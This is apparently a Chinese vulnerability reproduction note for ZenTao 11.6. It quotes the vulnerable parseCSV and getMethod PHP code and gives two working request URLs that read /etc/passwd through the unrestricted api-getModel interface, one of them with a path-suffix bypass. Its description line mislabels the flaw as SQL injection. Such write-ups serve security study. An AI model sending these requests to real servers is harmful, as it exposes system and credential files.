# 禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
# 漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
# 影响版本
# 环境搭建
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
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# 漏洞复现
这里造成漏洞的原因同样是调用接口权限无限制的原因
接口出现漏洞的原因具体参考可以查看上一篇 禅道 11.6版本 SQL注入漏洞
关于此漏洞的完整分析
# 第一种方法
查看module/file/moudel.php
下的parseCSV方法
public function parseCSV($fileName)
{
$content = file_get_contents($fileName);
/* Fix bug #890. */
$content = str_replace("\x82\x32", "\x10", $content);
$lines = explode("\n", $content);
$col = -1;
$row = 0;
$data = array();
foreach($lines as $line)
{
$line = trim($line);
$markNum = substr_count($line, '"') - substr_count($line, '\"');
if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
$line = str_replace(',"",', ',,', $line);
$line = str_replace(',"",', ',,', $line);
$line = preg_replace_callback('/(\"{2,})(\,+)/U', array($this, 'removeInterference'), $line);
$line = str_replace('""', '"', $line);
/* if only one column then line is the data. */
if(strpos($line, ',') === false and $col == -1)
{
$data[$row][0] = trim($line, '"');
}
else
{
/* if col is not -1, then the data of column is not end. */
if($col != -1)
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] .= "\n" . $line;
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
continue;
}
else
{
$data[$row][$col] .= "\n" . substr($line, 0, $pos);
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$line = substr($line, $pos + 2);
$col++;
}
}
if($col == -1) $col = 0;
/* explode cols with delimiter. */
while($line)
{
/* the cell has '"', the delimiter is '",'. */
if($line{0} == '"')
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] = substr($line, 1);
/* if line is not empty, then the data of cell is not end. */
if(strlen($line) >= 1) continue 2;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 1, $pos - 1);
$line = substr($line, $pos + 2);
}
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
}
else
{
/* the delimiter default is ','. */
$pos = strpos($line, ',');
/* if line is not delimiter, then line is the data of cell. */
if($pos === false)
{
$data[$row][$col] = $line;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
}
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$col++;
}
}
$row ++;
$col = -1;
}
return $data;
}
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这里可以看到以file为模块名、parseCSV为方法名去调用
读取文件
读取的文件名$filename
参数可控,例如读取/etc/passwd
http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd
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- ✅注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤
# 第二种方法
查看module/api/moudel.php
下的getMethod方法
public function getMethod($filePath, $ext = '')
{
$fileName = dirname($filePath);
$className = basename(dirname(dirname($filePath)));
if(!class_exists($className)) helper::import($fileName);
$methodName = basename($filePath);
$method = new ReflectionMethod($className . $ext, $methodName);
$data = new stdClass();
$data->startLine = $method->getStartLine();
$data->endLine = $method->getEndLine();
$data->comment = $method->getDocComment();
$data->parameters = $method->getParameters();
$data->className = $className;
$data->methodName = $methodName;
$data->fileName = $fileName;
$data->post = false;
$file = file($fileName);
for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
{
if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
{
$data->post = true;
}
}
return $data;
}
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这里与第一种大同小异,只是调用了不同模块的方法
看到 fileName = dirname(filepath) 这段则为返回的目录名
所以读取/etc/passwd
则需要写为/etc/passwd/1
来绕过
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1
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